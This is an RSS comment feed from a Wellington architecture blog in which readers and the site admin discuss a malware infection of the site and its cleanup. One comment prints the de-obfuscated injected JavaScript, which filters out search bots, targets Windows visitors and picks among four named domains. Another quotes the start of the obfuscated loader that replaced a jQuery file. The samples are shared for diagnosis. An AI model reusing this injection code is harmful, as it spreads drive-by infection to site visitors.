<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Spamalotnot</title>
	<atom:link href="http://eyeofthefish.org/spamalotnot/feed/" rel="self" type="application/rss+xml" />
	<link>http://eyeofthefish.org/spamalotnot/</link>
	<description>A wide-angle view of architecture, urban design and life in Wellington</description>
	<lastBuildDate>Mon, 06 Feb 2012 23:14:35 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.4</generator>
	<item>
		<title>By: Maximus</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17692</link>
		<dc:creator>Maximus</dc:creator>
		<pubDate>Thu, 22 Jul 2010 20:12:35 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17692</guid>
		<description>No, starkive, the whited out look (like the soft stomach flesh of a white bellied lemon shark) is just another &#039;theme&#039; on the blogging software, while Philip takes the original one back to the basement and beats the heck out of it till it behaves itself. 

I think (and hope) that we (he) will have another (or the same one, revamped), back, soon. 

And I&#039;ll get back to posting soon (ish).  I think.</description>
		<content:encoded><![CDATA[<p>No, starkive, the whited out look (like the soft stomach flesh of a white bellied lemon shark) is just another &#8216;theme&#8217; on the blogging software, while Philip takes the original one back to the basement and beats the heck out of it till it behaves itself. </p>
<p>I think (and hope) that we (he) will have another (or the same one, revamped), back, soon. </p>
<p>And I&#8217;ll get back to posting soon (ish).  I think.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: starkive</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17687</link>
		<dc:creator>starkive</dc:creator>
		<pubDate>Thu, 22 Jul 2010 02:00:20 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17687</guid>
		<description>Seen via Safari on a Mac, the site seems to have been gill netted and gaffed. Most of it  is missing and the rest is strangely whited-out. I had no problems with the original virus scare, but things look pretty fishy to me now...

Although to be fair we seem to have got a one-click comments count back.</description>
		<content:encoded><![CDATA[<p>Seen via Safari on a Mac, the site seems to have been gill netted and gaffed. Most of it  is missing and the rest is strangely whited-out. I had no problems with the original virus scare, but things look pretty fishy to me now&#8230;</p>
<p>Although to be fair we seem to have got a one-click comments count back.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: maximus</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17686</link>
		<dc:creator>maximus</dc:creator>
		<pubDate>Thu, 22 Jul 2010 01:10:23 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17686</guid>
		<description>Yes thanks, we&#039;re ok !   Hopefully, spam and virus all gone ?
How was your holiday in Sydney ?</description>
		<content:encoded><![CDATA[<p>Yes thanks, we&#8217;re ok !   Hopefully, spam and virus all gone ?<br />
How was your holiday in Sydney ?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: starkive</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17684</link>
		<dc:creator>starkive</dc:creator>
		<pubDate>Wed, 21 Jul 2010 23:54:15 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17684</guid>
		<description>You OK under there?</description>
		<content:encoded><![CDATA[<p>You OK under there?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: davidp</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17677</link>
		<dc:creator>davidp</dc:creator>
		<pubDate>Tue, 20 Jul 2010 00:06:14 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17677</guid>
		<description>Philip... I keep browser and opsys patched, but I don&#039;t bother with anti-virus software. I doubt I&#039;d be infected by an infected web site, but you never know.

Once unescaped, the dodgy javascript resolved to the following:

var a=window.navigator.userAgent,b=/(yahoo&#124;search&#124;msnbot&#124;yandex&#124;googlebot&#124;bing&#124;ask)/i,c=navigator.appVersion; 
if(document.cookie.indexOf(&quot;watchtime&quot;)==-1&amp;&amp;!a.toLowerCase().match(b)&amp;&amp;c.toLowerCase().indexOf(&quot;win&quot;)!=-1){var d=[&quot;edisonsnightclub.com&quot;,&quot;gaindirectory.org&quot;,&quot;ideacoreportal.com&quot;,&quot;karenegren.com&quot;],e=[&quot;aqua.&quot;,&quot;azure.&quot;,&quot;black.&quot;,&quot;blue.&quot;,&quot;brown.&quot;,&quot;chocolate.&quot;,&quot;coral.&quot;,&quot;cyan.&quot;,&quot;darkred.&quot;,&quot;fuchsia.&quot;,&quot;gold.&quot;,&quot;gray.&quot;,&quot;green.&quot;,&quot;indigo.&quot;,&quot;ivory.&quot;,&quot;khaki.&quot;,&quot;lime.&quot;,&quot;magenta.&quot;,&quot;maroon.&quot;,&quot;navy.&quot;,&quot;olive.&quot;,&quot;orange.&quot;,&quot;pink.&quot;,&quot;plum.&quot;,&quot;purple.&quot;,&quot;red.&quot;,&quot;silver.&quot;,&quot;snow.&quot;,&quot;violet.&quot;,&quot;white.&quot;,&quot;yellow.&quot;],f=Math.floor(Math.random()* d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;dt.setTime(dt.getTime()+9072E4);
document.cookie=&quot;watchtime=&quot;+escape(&quot;watchtime&quot;)+&quot;;
expires=&quot;+dt.toGMTString()+&quot;;
path=/&quot;;
document.write(&#039;&#039;)};


I haven&#039;t written programs for years and have no idea what that does. The references to specific web sites makes me suspect it is advertising related tho. Anyone?</description>
		<content:encoded><![CDATA[<p>Philip&#8230; I keep browser and opsys patched, but I don&#8217;t bother with anti-virus software. I doubt I&#8217;d be infected by an infected web site, but you never know.</p>
<p>Once unescaped, the dodgy javascript resolved to the following:</p>
<p>var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion;<br />
if(document.cookie.indexOf(&#8220;watchtime&#8221;)==-1&amp;&amp;!a.toLowerCase().match(b)&amp;&amp;c.toLowerCase().indexOf(&#8220;win&#8221;)!=-1){var d=["edisonsnightclub.com","gaindirectory.org","ideacoreportal.com","karenegren.com"],e=["aqua.","azure.","black.","blue.","brown.","chocolate.","coral.","cyan.","darkred.","fuchsia.","gold.","gray.","green.","indigo.","ivory.","khaki.","lime.","magenta.","maroon.","navy.","olive.","orange.","pink.","plum.","purple.","red.","silver.","snow.","violet.","white.","yellow."],f=Math.floor(Math.random()* d.length),g=Math.floor(Math.random()*e.length);<br />
dt=new Date;dt.setTime(dt.getTime()+9072E4);<br />
document.cookie=&#8221;watchtime=&#8221;+escape(&#8220;watchtime&#8221;)+&#8221;;<br />
expires=&#8221;+dt.toGMTString()+&#8221;;<br />
path=/&#8221;;<br />
document.write(&#8221;)};</p>
<p>I haven&#8217;t written programs for years and have no idea what that does. The references to specific web sites makes me suspect it is advertising related tho. Anyone?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Philip</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17674</link>
		<dc:creator>Philip</dc:creator>
		<pubDate>Mon, 19 Jul 2010 12:34:10 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17674</guid>
		<description>Apologies for the disruption in service over the course of today, hopefully everything nasty should be snuffed out for good now. Please let me know if this is not the case.

Also, in regards to davidp, its extremely unlikely to get malware from a website; I wouldnt worry about it unless your running an old operating system (XP or similar) as well as an old browser (version 6 or less of internet explorer) and also accidentally clicked/accepted whatever popup/dialog the site was offering. If so, the standard spyware/anti-virus scanning tools should be more than enough.

The old theme will hopefully be restored soon, and ill work on upgrading the spam filter....</description>
		<content:encoded><![CDATA[<p>Apologies for the disruption in service over the course of today, hopefully everything nasty should be snuffed out for good now. Please let me know if this is not the case.</p>
<p>Also, in regards to davidp, its extremely unlikely to get malware from a website; I wouldnt worry about it unless your running an old operating system (XP or similar) as well as an old browser (version 6 or less of internet explorer) and also accidentally clicked/accepted whatever popup/dialog the site was offering. If so, the standard spyware/anti-virus scanning tools should be more than enough.</p>
<p>The old theme will hopefully be restored soon, and ill work on upgrading the spam filter&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Maximus</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17671</link>
		<dc:creator>Maximus</dc:creator>
		<pubDate>Sun, 18 Jul 2010 20:41:26 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17671</guid>
		<description>Spencer - thanks for that - hopefully Philip will be able to target that directly.</description>
		<content:encoded><![CDATA[<p>Spencer &#8211; thanks for that &#8211; hopefully Philip will be able to target that directly.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: 60 MPa</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17668</link>
		<dc:creator>60 MPa</dc:creator>
		<pubDate>Sun, 18 Jul 2010 10:03:35 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17668</guid>
		<description>Join Linux - we don&#039;t get that shite. 


&quot;People say that if you run Microsoft Midori backwards you hear the sound of the Devil. That&#039;s nothing - if you run it forwards it installs Microsoft Midori&quot;</description>
		<content:encoded><![CDATA[<p>Join Linux &#8211; we don&#8217;t get that shite. </p>
<p>&#8220;People say that if you run Microsoft Midori backwards you hear the sound of the Devil. That&#8217;s nothing &#8211; if you run it forwards it installs Microsoft Midori&#8221;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Spencer</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17667</link>
		<dc:creator>Spencer</dc:creator>
		<pubDate>Sun, 18 Jul 2010 05:20:46 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17667</guid>
		<description>I still get a message that &quot;Threat was blocked&quot; and refers to file

eyeofthefish.org/wp-content/themes/eye3/js/jquery.center.js

It might just be a false alarm on my computer (Firefox 3.01 on Vista, using AVG Free 9.0.389) but worth checking out that file, which is a valid file for JQuery, however this is what the start of the proper one looks like
/**
 * @author Alexandre Magno
 * @desc Center a element with jQuery
 * @version 1.0
 * @example
 * $(&quot;element&quot;).center({
 *
 * 		vertical: true,
 *      horizontal: true
 *
 * });
 * @obs With no arguments, the default is above
 * @license free
 * @param bool vertical, bool horizontal
 * @contribution Paulo Radichi
 *
 */
jQuery.fn.center = function(params) {
...

and this is the start of what your web server is trying to send me...

var st1 = 0;document.write(unescape(&#039;%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%2
....</description>
		<content:encoded><![CDATA[<p>I still get a message that &#8220;Threat was blocked&#8221; and refers to file</p>
<p>eyeofthefish.org/wp-content/themes/eye3/js/jquery.center.js</p>
<p>It might just be a false alarm on my computer (Firefox 3.01 on Vista, using AVG Free 9.0.389) but worth checking out that file, which is a valid file for JQuery, however this is what the start of the proper one looks like<br />
/**<br />
 * @author Alexandre Magno<br />
 * @desc Center a element with jQuery<br />
 * @version 1.0<br />
 * @example<br />
 * $(&#8220;element&#8221;).center({<br />
 *<br />
 * 		vertical: true,<br />
 *      horizontal: true<br />
 *<br />
 * });<br />
 * @obs With no arguments, the default is above<br />
 * @license free<br />
 * @param bool vertical, bool horizontal<br />
 * @contribution Paulo Radichi<br />
 *<br />
 */<br />
jQuery.fn.center = function(params) {<br />
&#8230;</p>
<p>and this is the start of what your web server is trying to send me&#8230;</p>
<p>var st1 = 0;document.write(unescape(&#8216;%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%2<br />
&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: davidp</title>
		<link>http://eyeofthefish.org/spamalotnot/#comment-17666</link>
		<dc:creator>davidp</dc:creator>
		<pubDate>Sun, 18 Jul 2010 02:02:40 +0000</pubDate>
		<guid isPermaLink="false">http://eyeofthefish.org/?p=2063#comment-17666</guid>
		<description>Does someone know what the specific name of the malware that EOT Fish was trying to infect us with was?  That&#039;d make it easier to check if people were vulnerable and infected.</description>
		<content:encoded><![CDATA[<p>Does someone know what the specific name of the malware that EOT Fish was trying to infect us with was?  That&#8217;d make it easier to check if people were vulnerable and infected.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

